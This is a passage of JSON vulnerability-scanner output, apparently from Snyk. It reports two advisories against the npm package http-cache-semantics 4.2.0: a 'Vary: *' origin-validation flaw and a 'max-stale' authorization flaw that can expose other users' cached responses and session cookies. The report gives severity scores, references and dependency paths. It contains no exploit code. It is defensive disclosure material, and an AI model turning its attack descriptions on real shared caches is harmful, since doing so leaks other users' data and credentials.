"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": 